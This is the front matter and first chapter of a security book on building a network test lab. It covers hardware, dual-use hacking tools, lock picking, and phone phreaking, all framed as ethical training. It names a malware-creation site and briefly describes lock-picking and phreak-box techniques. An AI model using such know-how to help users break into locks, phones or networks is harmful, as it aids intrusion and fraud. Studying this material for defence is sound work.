Build Your Own Security Lab

Build Your Own Security Lab
Build Your Own
Security Lab
A Field Guide
for Network Testing
Michael Gregg
Wiley Publishing, Inc.
Build Your Own Security Lab
Build Your Own
Security Lab
A Field Guide
for Network Testing
Michael Gregg
Wiley Publishing, Inc.
Build Your Own Security Lab: A Field Guide for Network Testing
Published by
Wiley Publishing, Inc.
10475 Crosspoint Boulevard
Indianapolis, IN 46256
www.wiley.com
Copyright  2008 by Michael Gregg
Published by Wiley Publishing, Inc., Indianapolis, Indiana
Published simultaneously in Canada
ISBN: 978-0-470-17986-4
Manufactured in the United States of America
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Library of Congress Cataloging-in-Publication Data
Gregg, Michael (Michael C.)
Build your own security lab : a field guide for network testing / Michael Gregg.
p. cm.
Includes index.
ISBN 978-0-470-17986-4 (paper/DVD)
1. Computer networks — Security measures — Testing. I. Title.
TK5105.59.G73 2008
005.8 — dc22
2008009610
Trademarks: Wiley, the Wiley logo, and are trademarks or registered trademarks of John Wiley & Sons,
Inc. and/or its affiliates in the United States and other countries, and may not be used without written
permission. All other trademarks are the property of their respective owners. Wiley Publishing, Inc., is
not associated with any product or vendor mentioned in this book.
Wiley also publishes its books in a variety of electronic formats. Some content that appears in print
may not be available in electronic books.
To Christine, thank you for your love and support through all the long
hours that such a project entails. You have helped all my dreams come
true and for that I can never say thank you enough!
About the Author
As the founder and president of Superior Solutions, Inc., a Houston-based
IT security consulting and auditing firm, Michael Gregg has more than 15
years experience in information security and risk management. He holds two
associate’s degrees, a bachelor’s degree, and a master’s degree. Some of the
certifications he holds include the following: CISA, CISSP, MCSE, CTT + ,
A + , N + , Security + , CNA, CCNA, CIW Security Analyst, CEH, CHFI, CEI,
DCNP, ES Dragon IDS, ES Advanced Dragon IDS, and TICSA.
In addition to his experience performing security audits and assessments,
Michael has authored or coauthored more than 10 books, including Security
Administrator Street Smarts: A Real World Guide to CompTIA Security + Skills
(Sybex), CISSP Exam Cram 2 (Que), and Hack the Stack: Using Snort and Ethereal to Master the 8 Layers of an Insecure Network (Syngress). Michael is a
site expert for TechTarget web sites, including SearchCIO-Midmarket.com
and SearchNetworking.com. He also serves on their editorial advisory board.
His articles have been published on IT web sites, including Certification
Magazine (certmag.com), CramSession (cramsession.com), and GoCertify
(gocertify.com). Michael has created more than 15 security-related courses
and training classes for various companies and universities. While audits and
assessments are where he spends the bulk of his time, teaching and contributing to the written body of IT security knowledge is how Michael believes he
can give something back to the community that has given him so much.
He is a member of the American College of Forensic Examiners and is an
active member of ISACA. When not working, Michael enjoys traveling and
restoring muscle cars.
vii
Credits
Executive Editor
Carol Long
Development Editor
John Sleeva
Technical Editor
Ronald Krutz
Production Editor
Dassi Zeidel
Vice President and Executive
Group Publisher
Richard Swadley
Vice President and Executive
Publisher
Joseph B. Wikert
Project Coordinator, Cover
Lynsey Stanford
Copy Editor
Foxxe Editorial Services
Proofreader
Candace English
Editorial Manager
Mary Beth Wakefield
Indexer
Robert Swanson
Production Manager
Tim Tate
ix
Contents at a Glance
Acknowledgments
Introduction
xxi
xxiii
Chapter 1
Hardware and Gear
1
Chapter 2
Building a Software Test Platform
31
Chapter 3
Passive Information Gathering
63
Chapter 4
Detecting Live Systems
105
Chapter 5
Enumerating Systems
149
Chapter 6
Automated Attack and Penetration Tools
189
Chapter 7
Understanding Cryptographic Systems
225
Chapter 8
Defeating Malware
259
Chapter 9
Securing Wireless Systems
291
Chapter 10 Intrusion Detection
325
Chapter 11 Forensic Detection
365
Appendix A About the DVD
405
Index
409
xi
Contents
Acknowledgments
Introduction
Chapter 1
xxi
xxiii
Hardware and Gear
Why Build a Lab?
Hackers Welcome
Hacker Software
Hacker Hardware
The Essential Gear
Obtaining Requisite Hardware/Software
Stuff You Already Have
New-Equipment Purchases
Used-Equipment Purchases
Online Auctions
Thrift Stores
Company Sales
Assembling the Network Lab
Starting Clean
Configuring the Network
Installing Operating Systems
Windows XP
Linux
Connecting Everything Together
Adding On
Summary
Key Terms
Exercises
Equipment Checklist
Exploring Linux Options
Exploring Other Operating System Options
1
2
4
4
5
8
10
10
10
11
12
13
14
14
16
17
21
21
23
23
25
26
27
28
28
29
30
xiii
xiv
Contents
Chapter 2
Building a Software Test Platform
Server OS Installations
Microsoft Windows
Linux
Navigating in Linux
Linux Basics
Other Operating Systems
Mac OS X
ReactOS
Windows PE
Virtualization
VMware Workstation
VMware Server
Virtual PC
Client-Side Tools
Learning Applications
Summary
Key Terms
Exercises
Using VMware to Build a Windows Image
Using VMware to Build a ReactOS Image
Running BackTrack from VMware
31
31
32
36
39
41
44
44
45
45
47
48
51
52
53
55
56
57
58
58
59
60
Chapter 3
Passive Information Gathering
Starting at the Source
Scrutinizing Key Employees
Dumpster Diving (Electronic)
Analyzing Web Page Coding
Exploiting Web Site Authentication Methods
Mining Job Ads and Analyzing Financial Data
Using Google to Mine Sensitive Information
Exploring Domain Ownership
WHOIS
Regional Internet Registries
Domain Name Server
Identifying Web Server Software
Web Server Location
Summary
Key Terms
Exercises
IP Address and Domain Identification
Information Gathering
Google Hacking
Banner Grabbing
Telnet
Netcat
VisualRoute
63
64
68
71
74
77
80
83
84
85
88
89
93
95
96
97
98
98
99
100
101
101
102
103
Contents
Chapter 4
Detecting Live Systems
Detecting Active Systems
Wardriving
ICMP (Ping)
Port Scanning
TCP/IP Basics
The Network Access Layer
The Internet Layer
The Host-to-Host Layer
The Application Layer
TCP and UDP Port Scanning
Advanced Port-Scanning Techniques
Idle Scan
Port-Scanning Tools
Nmap
SuperScan
Other Scanning Tools
OS Fingerprinting
Passive Fingerprinting
Active Fingerprinting
OS Fingerprinting Tools
Scanning Countermeasures
Summary
Key Terms
Exercises
Port Scanning with Nmap
Port Scanning with SuperScan
Using Look@LAN
Passive Fingerprinting
Active Fingerprinting
105
105
106
107
111
111
112
113
116
117
120
123
123
126
126
129
129
131
131
134
135
136
139
140
141
141
142
143
144
146
Chapter 5
Enumerating Systems
Enumeration
SNMP Services
SNMP Enumeration Tools
SNMP Enumeration Countermeasures
Routing Devices
Routing Enumeration Tools
Routing Enumeration Countermeasures
Windows Devices
Server Message Block and Interprocess Communication
Enumeration and the IPC$ Share
Windows Enumeration Tools
Windows Enumeration Countermeasures
Advanced Enumeration
Password Cracking
Protecting Passwords
149
149
150
152
153
154
156
158
161
163
164
165
168
170
170
174
xv
xvi
Contents
Sniffing Password Hashes
Exploiting a Vulnerability
Buffer Overflows
174
175
178
Summary
Key Terms
Exercises
SNMP Enumeration
Enumerating Routing Protocols
Enumeration with DumpSec
Rainbow Table Attacks
180
180
181
181
184
185
187
Chapter 6
Automated Attack and Penetration Tools
Why Attack and Penetration Tools Are Important
Vulnerability Assessment Tools
Source Code Assessment Tools
Application Assessment Tools
System Assessment Tools
Attributes of a Good System Assessment Tool
Nessus
Automated Exploit Tools
Metasploit
Metasploit Web
Metasploit Console
Metasploit Command-Line Interface
Updating Metasploit
ExploitTree
Exploitation Framework
Core Impact
CANVAS
Determining Which Tools to Use
Picking the Right Platform
Summary
Key Terms
Exercises
Metasploit BackTrack
Metasploit Windows
Exploring N-Stalker, a Vulnerability Assessment Tool
Exploring the SecurityForest.com Web Site
189
190
190
191
192
192
194
195
203
203
204
209
211
211
212
212
213
214
214
215
215
216
216
217
219
221
222
Chapter 7
Understanding Cryptographic Systems
Encryption
Secret Key Encryption
Data Encryption Standard
Triple DES
Advanced Encryption Standard
One-Way Functions (Hashes)
MD Series
225
225
227
229
230
231
231
232
Contents
SHA
Public Key Encryption
RSA
Diffie-Hellman
El Gamal
Elliptic Curve Cryptosystem
Hybrid Cryptosystems
Chapter 8
232
232
233
234
235
235
235
Authentication
Password Authentication
Password Hashing
Challenge-Response
Session Authentication
Public Key Authentication
Public Key Infrastructure
Certificate Authority
Registration Authority
Certificate Revocation List
Certificate-Based Authentication
Biometrics
Encryption and Authentication Attacks
Extracting Passwords
Password Cracking
Dictionary Attack
Brute-Force Attack
Rainbow Table
Other Cryptographic Attacks
Summary
Key Terms
Exercises
RainbowCrack
CrypTool
John the Ripper
236
237
237
240
241
242
242
242
243
243
243
245
247
248
249
249
250
250
251
252
253
254
254
255
257
Defeating Malware
The Evolving Threat
Viruses and Worms
Viruses
Worms
Timeline
Detecting and Preventing
Antivirus
Trojans
Infection Methods
Symptoms
Well-Known Trojans
Modern Trojans
Distributing Trojans
259
259
261
261
264
265
269
269
271
272
273
273
274
274
xvii
xviii Contents
Chapter 9
Rootkits
Spyware
Botnets
Phishing
Summary
Key Terms
Exercises
Virus Signatures
Building Trojans
Rootkits
Finding Malware
276
278
281
282
282
283
284
284
285
285
289
Securing Wireless Systems
Wi-Fi Basics
Wireless Clients and NICs
Wireless Access Points
Wireless Communication Standards
Bluetooth Basics
Wi-Fi Security
Wired Equivalent Privacy
Wi-Fi Protected Access
802.1x Authentication
Wireless LAN Threats
Wardriving
NetStumbler
Kismet
Eavesdropping
Rogue and Unauthorized Access Points
Denial of Service
Exploiting Wireless Networks
Finding and Assessing the Network
Setting Up Aerodump
Configuring Aireplay
Deauthentication and ARP Injection
Capturing IVs and Cracking the WEP KEY
Other Wireless Attack Tools
Exploiting Bluetooth
Securing Wireless Networks
Defense in Depth
Misuse Detection
Summary
Key Terms
Exercises
Using NetStumbler
Using Wireshark to Capture Wireless Traffic
291
292
293
294
294
296
297
297
299
301
302
302
304
307
307
311
312
313
314
314
315
315
316
317
318
318
318
319
320
321
322
322
323
Contents
Chapter 10 Intrusion Detection
Overview of Intrusion Detection and Prevention
IDS Types and Components
IDS Engines
An Overview of Snort
Platform Compatibility
Assessing Hardware Requirements
Installing Snort on a Windows System
MySQL
Limiting Access
Installing the Base Components
Basic Configuration
Verification of Configuration
Building Snort Rules
The Rule Header
Logging with Snort
Rule Options
Creating and Testing a Simple Rule Set
The Snort User Interface
IDScenter
Installing IDScenter
Configuring IDScenter
Basic Analysis and Security Engine
Advanced Snort: Detecting Buffer Overflows
Responding to Attacks/Intrusions
Summary
Key Terms
Exercises
Building a Snort Windows System
Making a One-Way Data Cable
325
325
326
328
330
331
331
333
333
333
334
337
339
342
343
345
345
347
349
349
349
350
355
356
357
360
360
361
361
363
Chapter 11 Forensic Detection
Computer Forensics
Acquisition
Drive Removal and Fingerprint
Drive-Wiping
Logical and Physical Copies
Logical Copies
Physical Copies
Imaging the Drive
Authentication
Trace-Evidence Analysis
Browser Cache
Email Evidence
Deleted/Overwritten Files and Evidence
Other Trace Evidence
365
366
367
369
371
372
373
374
374
376
379
382
383
385
386
xix
xx
Contents
Hiding Techniques
Common File-Hiding Techniques
Advanced File-Hiding Techniques
Steganography
Antiforensics
Summary
Key Terms
Exercises
Detecting Hidden Files
Basic File-Hiding
Advanced File-Hiding
Reading Email Headers
Use S-Tools to Embed and Encrypt a Message
387
387
389
391
395
396
396
397
397
397
398
399
400
Appendix A About the DVD
System Requirements
Using the DVD
What’s on the DVD
Troubleshooting
Customer Care
405
405
406
406
408
408
Index
409
Acknowledgments
I would like to acknowledge Christine, Betty, Curly, Gen, and all my family.
Also, a special thanks to everyone at Wiley. It has been a great pleasure to have
worked with you on this book. I am grateful for the help and support from
Carol Long, John Sleeva, Ronald Krutz, Dassi Zeidel, and Laura Atkinson.
xxi
Introduction
Welcome to Build Your Own Security Lab. With this book, you can increase
your hands-on IT security skills. The techniques and tools discussed in this
book can benefit IT security designers and implementers. IT security designers
will benefit as they learn more about specific tools and their capabilities.
Implementers will gain firsthand experience from installing and practicing
using software tools needed to secure information assets.
Overview of the Book and Technology
This book is designed for individuals who need to better understand the
functionality of security tools. Its objective is to help guide those individuals
in learning when and how specific tools should be deployed and what any of
the tools’ specific limitations are. This book is for you if any of the following
are true:
You want to learn more about specific security tools.
You lack hands-on experience in using security tools.
You want to get the skills needed to advance at work or move into a new
position.
You love to tinker or expand your skills with computer software and
hardware.
You are studying for a certification and want to gain additional skills.
xxiii
xxiv
Introduction
How This Book Is Organized
The contents of this book are structured as follows:
Chapter 1, Hardware and Gear — Guides you through the process of
building a hardware test platform.
Chapter 2, Building a Software Test Platform — Looks at your
options for setting up a software test platform. You should never be testing a tool for the first time on a production network. Virtual machines
will be explored.
Chapter 3, Passive Information Gathering — Reviews the many ways
that information can be passively gathered. This process starts at the
organization’s web site, and then moves to WHOIS records. This starting point allows you to build a complete profile of the organization.
Chapter 4, Detecting Live Systems — Once IP ranges have been discovered and potential systems have be identified, you will move quickly to
using a host of tools to determine the status of live systems. Learn how
Internet Control Message Protocol (ICMP) and other protocols work,
while using both Linux and Windows lab systems.
Chapter 5, Enumerating Systems — Explores how small weaknesses
can be used to exploit a system and gain a foothold or operational control of a system. You will learn firsthand how to apply effective countermeasures by changing default banners, hardening systems, and restricting null sessions.
Chapter 6, Automated Attack and Penetration Tools — Presents you
with an overview of how attack and penetration tools work. These are
the same tools that may be used against real networks, so it is important
to understand how they work and their capabilities.
Chapter 7, Understanding Cryptographic Systems — Provides
insight into how cryptographic systems are used to secure information
and items such as passwords. You will learn firsthand how these systems are attacked and which tools are used.
Chapter 8, Defeating Malware — Takes you through a review of malware and demonstrates how to remove and control virulent code. Readers will learn how to run rootkit detectors and spyware tools, and use
integrity-verification programs.
Chapter 9, Securing Wireless Systems — Offers an overview of the
challenges you’ll face protecting wireless networks. Although wireless
systems are easy to deploy, they can present a real security challenge.
Introduction
Chapter 10, Intrusion Detection — Introduces intrusion detection systems (IDSs). This chapter gives you the skills needed to set up and configure Snort.
Chapter 11, Forensic Detection — Reviews the skills needed to deal
with the aftermath of a security breach. Forensics requires the ability to
acquire, authenticate, and analyze data. You will learn about basic forensic procedures and tools to analyze intrusions after security breaches.
Who Should Read This Book
This book is designed for the individual with intermediate skills. While this
book is focused on the individual who seeks to set up and build a working
security test lab, this does not means that others cannot benefit from it. For
those individuals who already have the hardware and software needed to
review specific tools and techniques, Chapter 3 is a good starting point. For
other even more advanced individuals, specific chapters can be used to gain
additional skills and knowledge. As an example, if you are looking to learn
more about password insertion and password cracking, proceed to Chapter 7.
If you are specifically interested in wireless systems, Chapter 9 is for you. So,
whereas some readers may want to read the book from start to finish, there is
nothing to prevent you from moving around as needed.
Tools You Will Need
Your desire to learn is the most important thing you have as you start to read
this book. I try to use open source ‘‘free’’ software as much as possible. After
all, the goal of this book is to try to make this as affordable as possible for those
wanting to increase their skills. Because the developers of many free tools do
not have the development funds that those who make commercial tools do,
these tools can be somewhat erratic. The upside is that, if you are comfortable
with coding or developing scripts, many of the tools can be customized. This
gives them a wider range of usability than many commercial tools.
Tools are only half the picture. You will also need operating systems to
launch tools and others to act as targets. A mixture of Linux and Windows systems will be needed for this task. We will delve into many of
these issues in the first two chapters. You may also want to explore sites
like http://www.linuxlinks.com/distributions. A fully loaded copy of
BackTrack has been included on the attached CD. There is more on this
in the next section.
xxv
xxvi
Introduction
What’s on the DVD
To make the process as easy as possible for you to get started, some of the
basic tools you will need are included with this book. You will receive a
host of security tools preloaded with the BackTrack Linux distribution. This
specialized version of Linux can be run from a bootable CD or via VMware or
virtual machine.
Also included on the DVD is a demo copy of Forensic Toolkit (FTK) 1.7. This
useful piece of software enables you to do many of the activities discussed in
Chapter 11, ‘‘Forensic Detection.’’ To learn more about what is included on
the DVD, see Appendix A, ‘‘About the DVD.’’
Summary (From Here, Up Next, and So On)
Build Your Own Security Lab is designed to take readers to the next stage of
personal knowledge and skill development. Rather than presenting just the
concept or discussing the tools that fit in a specific category, Build Your Own
Security Lab takes these topics and provides real-world implementation details.
Learning how to apply higher-level security skills is an essential skill need to
pursue an advanced security career, and to make progress toward obtaining
more complex security certifications, including SSCP, CISSP, CEH, CHFI, and
the like. I hope that you enjoy this book, and please let me know how it helps
you advance in the field of IT security.
CHAPTER
1
Hardware and Gear
This book is designed for those who need to better understand the functionality
of security tools. Its objective is to help you learn when and how specific tools
can help you secure your network.
You may be wondering what security is. Security typically is defined by
three core concepts: confidentiality, integrity, and availability. There is also
the question as to how much security is enough. Some might say that you can
never have enough security, yet in reality it is about balancing the value of the
asset and the cost of protection. One thing that is agreed upon about security
is the value of defense in depth. Simply stated, security controls should be
built in layers. For example, renaming the administrator account is a good
idea, but so too is restricting access to the account, as well as adding complex
passwords and performing periodic audits of the log files.
Because no two networks are the same, and because they change over time,
it is impossible to come up with a one-size-fits-all list of hardware and software
that will do the job for you. Networks serve the enterprise that owns them.
The enterprise necessarily changes over time, too. In addition, the scale of
operation impacts security considerations. If you pursue a career as a security
consultant, your goals (and inevitably your needs) will differ if you decide
to work for a large multinational corporation (and even differ depending on
the type of industry) or if your interests lie primarily with small office/home
office (SOHO) or small business. Clearly, a whole spectrum of possibilities
exists here.
This chapter provides the first step in building your own network security
lab. You will start to examine the types of hardware and gear that you can use
to build such a test environment, and then look at the operating systems you
should consider loading on your new equipment.
1
2
Chapter 1
■
Hardware and Gear
Why Build a Lab?
A laboratory is as vital to a computer-security specialist as one is to a chemist or
biologist. It is the studio in which one can control a large number of variables
that come to bear upon the outcome of one’s experiments. And network
security, especially, is a specialization in which the researcher must have a
diverse understanding of how the pertinent technologies behave at many
levels. For a moment, just consider the importance of the production network
to most organizations. This reliance on an always-on, operational, functioning
network means that many tests and evaluations must be developed in a lab on
a network that has been specifically designed for such experiments.
N O T E A laboratory is a controlled environment in which unexpected events are
nonexistent or at least minimized. Also, having a lab provides a consequence-free
setting in which damage that might result from experimentation is localized (and,
it is hoped, can be easily corrected).
Consider something as basic as patch management. Very few organizations
move directly from downloading a patch to installing it directly in the production environment. The first step is to test the patch. The most agreed-upon
way to accomplish this is to install it on a test network or system. This allows
problems to be researched and compatibility ensured. You might also wish
to consider a typical penetration test. It may be that the penetration-testing
team has developed a new exploit or written a specific piece of code for this
unique assignment. Will the team begin by deploying this code on the client’s
network? Hopefully not. The typical approach would be to deploy this on
a test network to verify that it will function as designed. The last thing the
penetration test team needs is to be responsible for a major outage on the
client’s network. These types of events are not good for future business.
Building a lab requires you to become familiar with the basics of wiring,
signal distribution, switching, and routing. You also need to understand how
one might ‘‘tap into’’ a data stream to analyze or, potentially, to attack the
network. The mix of common network protocols must be understood. Only
by knowing what is normal on the network can you recognize and isolate
strange behavior. Consider some of the other items that might motivate you
to construct such a lab:
Certification
Job advancement
Knowledge
Experimentation
Evaluation of new tools
Why Build a Lab?
To varying degrees, networking- and security-related certifications require
knowledge of the hardware and software of modern networks. There is no
better vehicle for learning about networking and security issues firsthand than
to design and build your own network lab. This provides a place where you
can add and subtract devices at will and reconfigure hardware and software
to your liking. You can observe the interaction between the systems and
networking devices in detail.
Advancing in your career field is almost never an accident. The IT industry
is an area of constant change. The best way to build a career path in the world
of IT is to build your skill set. By mastering these technologies, you will be
able to identify the knowledgeable people on the job or at a customer’s site
and align yourself with them. You might even uncover some gifts that you
did not previously realize that you possess. Building a lab demonstrates your
desire and ability to study and control networks. One key item that potential
employers always consider is whether a candidate has the drive to get the
job done. Building your own security lab can help demonstrate to employers
that you are looking for more than just a job: you want a career. As you use
the network resources in your lab, you will invariably add to your knowledge
and understanding of the technologies that you employ. Learning is a natural
consequence.
Experimentation is a practical necessity if you are to fully understand many
of the tools and methods employed by security professionals and hackers
alike. Just consider the fact that there are many manuals that explain how
Window Vista works, or how a Check Point firewall works, but no manual
can explain how these systems will function when combined with hundreds of
other software and hardware products. Some combinations and interactions
are simply unknown. By building your own lab, you will discover that when
deployed in complex modern networks many things do not work the way the
documentation says that they do. And many times, it does not suffice to simply
understand what happens; you need to appreciate the timing and sequence
of events. And that requires the control that a laboratory environment
provides you.
Because IT is an industry of continual change, new software, new security
tools, new hacking techniques, and new networking gizmos constantly appear.
A network security lab provides you with a forum in which to try these things
out. You certainly don’t want to risk corrupting a computer that you depend
on every day to do your job. And you don’t want to negatively impact the
work of others; doing so is a good way to quickly put the breaks on your
budding career.
A laboratory thus provides a place where you can try new things. This is
a setting in which you can gain a detailed understanding of how things are
put together and how they normally interact. It is an environment in which
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you can likely predict the outcome of your experiments, and if an outcome is
unexpected, you can then isolate the cause.
BUILDING YOUR OWN SECURITY LAB
In the thousand of training events and emails I have received from students
and those preparing for certification, the question that always arises is, How
do I really prepare for the job or promotion I am seeking? My answer is always
the same: know the material, but also get all the hands-on experience you
can. Many times, the response is that they don’t have enough money in their IT
budget or they are a struggling student. That is totally understandable. Yet the
fact is that there is no way to pick up many of the needed skills by reading alone.
And many tests cannot be conducted on a live Internet-connected network.
With a little work and effort, you can find the equipment required to practice
necessary skills at a reasonable price. As an example, network professionals
have been doing this for years. There are even sites such as www.ciscokits.com
that are set up exclusively to provide students with a complete set of
networking gear needed to complete a CCNA or a CCNP certification.
Hackers Welcome
Well, perhaps the title of this section is misleading. In fact, I am referring to
the term hacking in a more historic context. Originally, years ago, a hacker
was someone who focused on security mechanisms. That is part of the
role of a security specialist. They are responsible for understanding security
mechanisms and sometimes even trying to break them. This is often termed
ethical hacking.
What better place to practice ethical hacking skills than on your own test
network? This gives you the opportunity to test out tools and experiment with
technologies without the fear of damaging a production network. In effect, by
building a network lab, you are creating an environment in which you can
(and must) hack. And while we are on this topic, I should also make clear that
you should never run any tools or exploits on an outside or external network
without the network owner’s permission.
Hacker Software
You need to be aware of the tools that security professionals and hackers alike
use. These tools can be divided into hardware and software. Let’s take a look
at the software first.
Many pieces of software can be used for good or malicious purposes. For
example, consider port scanners. While attackers use them to scan open ports
Hackers Welcome
that can be used for potential attacks, security professionals use port scanners
to verify that ports truly are closed and that firewall rule sets are working.
Therefore, if I were going to make a short list of dual-use software, I might
include the following:
Ping sweep tools
Port scanners
Vulnerability assessment tools
Null session tools
OS fingerprinting tools
Exploit frameworks
Decompilers
Port redirection tools
Also consider other tools such as virus generators or tools designed specifically to create Trojans. These types of tools really have little or no practical
purpose other than to spread malware and cause problems. There are even
web sites that are designed to do nothing but give people the skills to create
such malicious code. You can find one such site at http://vx.netlux.org.
A short list of such tools might include these:
Trojans
Viruses
Worms
Malware
Denial of service (DoS) tools
Distributed denial of service (DDoS) tools
Spyware
Backdoors
Hacker Hardware
Most hacking gear is classified as software, but some hardware can be considered hacking gear, too, such as lock picks, phone taps, and wireless detectors.
The risk of relying on locks is that they can give us a false sense of security.
Just because a lock is there, we think that it will prevent some type of theft
or loss. The reality is that locks help keep honest people honest. Bad guys
know how to bypass locks with tools such as lock picks. Lock picks are used to
open door locks, device locks, and padlocks. Most lock pickers don’t learn lock
picking as a college course or through formal training. It is generally self-taught
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through practice. After all, lock picking is really just the manipulation of a
lock’s components to open it without a key. The basic components used to
pick locks are as follows:
Tension wrenches — These are not much more than a small angled
flathead screwdriver. They come in various thicknesses and sizes.
Picks — Just as the name implies, these are similar to a dentist’s pick.
They are small, angled, and pointed.
Together, these tools can be used to pick a lock. One of the easiest techniques
to learn is scrapping. Scrapping occurs when tension is held on the lock with
the tension wrench while the pins are scrapped quickly. A good site to learn
more about locks is www.kickthefog.com/how_works.htm.
While this chapter may not go into an in-depth discussion on how lock picking works, this is something that a security professional should know something about. A security professional should also understand that it is important
to check the organization’s locks and make sure that your company chooses
the right lock for the right job. You may want to consider getting a lock-picking
set to start to learn more about how this is actually performed. You will then be
able to test your organization’s physical defenses (with permission, of course).
Next on our list is phone-hacking tools. Actually, phone-hacking tools
predate computer hacking. The 1960s and 1970s were the heyday of phone
hacking. Phreakers (from ‘‘phone’’ and ‘‘freak’’) typically used phreak boxes
(any device connected to a phone line) to perform their attacks. Some of the
many types of phreak boxes (or color boxes) are listed here:
Blue box — Free long-distance calls
Red box — Duplicates tones of coins dropped into a pay phone
Tangerine box — For eavesdropping without making a click when
connected
Orange box — Spoofs caller ID information on the called party’s phone
Before you get too excited about making free phone calls, just remember
that the use of these tools is illegal and most do not work on modern telephone
systems. The reason that much of this technology worked in the first place was
because of in-band signaling. In-band signaling simply plays the control tones
right into the voice channel onto the telephone wires. New telephone system
networks use out-of-band (OOB) signaling, in which one channel is used for
the voice conversation, and a separate channel is used for signaling. With OOB
signaling, it is no longer possible to just play tones into the mouthpiece to
signal equipment within the network.
Hackers Welcome
CAP’N CRUNCH AND HIS BLUE BOX
John Draper was one of the first well-known phone hackers (phreakers). His
claim to fame was that he discovered how to use the toy whistle from a box of
Cap’n Crunch. In the 1970s, long-distance phone service was still quite
expensive — so much so that finding a way to make free calls was a pretty big
deal. The exploit was actually possible because of the way the phone company
handled signaling within the voice band of the call. Instead of relying on
whistles to do this long-term, there was actually a small electronic box
developed to handle just that task, named the ‘‘blue box.’’ This name is believed
to be traced to the fact that the first one built was placed inside a small blue
box. Hacking legend actually has it that Steve Wozniak was so obsessed by the
new technology that he called John Draper and asked if he could come visit
him at his UC Berkeley dorm and share his phone-hacking secrets.
Although the phreaking phenomena slowed somewhat as technology
changes enhanced telecommunication security, the culture never actually
died, and phreaking lives on today in other forms. Today you can see that a
whole new generation has discovered things such as caller ID hacking. This
phreaking technique gives that attacker the ability to make the caller ID of
anyone appear on the recipient’s phone. Phone hacking also played a part
in the HP scandal of 2006. This particular incident featured stories of pretexting to gain caller lists and determine when and how certain parties were in
communication.
The final category of hardware hacking tools worth mentioning is wireless
Wi-Fi detectors. These devices are used to detect wireless networks. These
devices can be used for both good and nefarious purposes. Just imagine that,
as a security professional, you have been asked to assess an area for any
rogue access points. These handheld devices allow you to easily search for
wireless signals without carrying around a laptop and more antennas than a
local law-enforcement vehicle. For the hacker, these devices make it easy to
spot that a wireless signal is present. The attacker can always return later with
laptop and gear to attempt a break in.
As a security professional looking at hardware to add to your security
lab, this is one piece of equipment that is easy to use and can quickly be
used to look for wireless signals where none is supposed to exist. This type of
technology can be used to potentially find rogue or unauthorized access points.
I will talk more about this in Chapter 9, ‘‘Securing Wireless Systems,’’ but
for now just consider the effect of someone using your network to download
music illegally, access child pornography, or even use up bandwidth that the
organization has paid for.
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The Essential Gear
Many things might be included in a network security laboratory. Some of
these items are mandatory (for example, cables), and some things can be
added according to your needs and as they become available or affordable.
Here are some of the things that will likely end up in your mix:
Computers
Networking tools
Cables
Network-attached storage (NAS)
Hubs
Switches
Routers
Removable disk storage
Internet connection
Cisco equipment
Firewalls
Wireless access points
Keyboard, video, mouse (KVM) switches
Surge suppressors and power strips
Although it is possible to contain everything within one computer, you
should have at least two computers (for example, one to attack, and another
from which to launch the attack and monitor network behavior). Your requirements will vary from time to time based on the scenario that you are modeling.
Having a fast processor, a lot of memory, and a bunch of disk space is a big
positive when selecting or building the computers. Fast and big are relative
terms whose interpretation changes over time. But to gauge these items, let’s
say that your systems need to be 1GHz or faster with 512MB of memory and
an 80GB disk drive. Generally, you can get away with a little less memory
with Linux systems. More is better.
In your network lab, you need a wide variety of cables, as this will allow you
to configure your test network in many different ways. Specific configurations
are needed for different scenarios. You also want to have some tools that come
in handy for building and testing cables. So things such as wire strippers,
crimp tools, and punch-down tools might find their way into your toolbox.
Crossover and loopback adapters can prove handy, too.
The Essential Gear
Disk storage is needed. Removable disk storage, such as USB and FireWire
drives, allow you to safely image your systems so that they can be restored with
relative ease if they become corrupt during an experiment. Network-attached
storage (NAS) can be handy in many ways, to hold copies of configuration files,
downloaded software, and whatever else you might find yourself needing
while working on the network. It is great to have a central storage location
that you access from your various computer systems.
Hubs, switches, and routers are the building blocks of network infrastructure.
It is crucial to understand how the roles of these things differ. Not all switches
have identical capabilities. Likewise, routers can vary considerably, so having
a couple to choose from is good. Cisco products are so prevalent it is a good
idea to make a point of including some of their equipment in the mix. Their
equipment will be found at almost every worksite.
An Internet connection is a necessity. You will need to research various
topics and download software as you use the network in your lab. Or you
might find yourself modeling the behavior of an Internet-based attacker. On
the slim chance that you are still using dialup, now is the time to go ahead and
make the upgrade.
Having a firewall can prove very valuable, too. As a security professional,
you are expected to have an appreciation for these devices and their capabilities. Your firewall could prove to be an important component in some of your
experiments. Day to day, you can use your firewall to protect your primary
(home or office) network from the unpleasant things that can occur on the
network in your lab. If you cannot afford a hardware-based firewall, you can
use one of several good software-based products, such as Kerio Winroute Firewall, Netscreen, and Tiny Firewall. You can read more about software-based
firewalls at www.pcworld.com/downloads/file/fid,8051-order,1-page,1-c,
alldownloads/description.html. These are discussed in greater detail in the
next chapter.
If wireless networking may be within your security mandate, you need a
wireless access point. (And since wireless network segments have become so
commonplace, this is pretty much a ‘‘must have’’ item.)
Don’t forget the logistical details of constructing a network like this. You
will need table space, shelving, power strips, and surge suppressors. If you
have an old uninterrupted power supply (UPS) available, you might employ
it, too. Plus, with several computers in close proximity, you will probably not
want to have to deal with a bunch of monitors, keyboards, and mice; a KVM
switching arrangement can save a lot of space and much aggravation.
N O T E Commercial-quality equipment is much more capable than the products
targeted for the consumer or small office/home office (SOHO) market. You will be
better off with a real Cisco router, even if it is used and scratched up, than with a
little Linksys router.
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Obtaining Requisite Hardware/Software
I hope by this point in the chapter that you are excited about the prospect
of building your network lab and that I have convinced you to proceed. As
you’ve learned, a network security lab could be a valuable asset. So now, how
do you start building it? First, consider many of the sources that exist for the
equipment that you need. Some of these sources include the following:
Stuff you already have
New-equipment purchases
Used-equipment purchases
I discuss each of these options in the following sections and provide an
overview of the advantages and disadvantages of each.
Stuff You Already Have
Either at home or at work, you are likely to already have a variety of the things
that will prove useful in building your own security lab. This could range
from something as trivial as a handful of Ethernet cables in your desk drawer
to shelves full of spare or retired PCs, switches, and routers.
If you are doing this on the job, there are a couple of possible scenarios. Is
the spare equipment under your control? If not, you will have to work things
out with the appropriate supervisors and make sure that use of the equipment
is approved. Next, you want to take stock of what is available and make a list
of the things that look like they could prove useful. Don’t worry about the
details at this point. You will likely remember the minor gizmos and gadgets
later if you need them. Focus on the important items that were mentioned
earlier in this chapter. Finally, prioritize your list and pick out the things that
you think will be most useful. Keep lists; you will quite likely refer to them
later. Remember to start with a small collection of obviously needed items,
such as a PC or two, a router, a hub or switch, and a handful of cables. It will
be easy to add things later, so try not to get carried away and include two of
everything in your initial efforts.
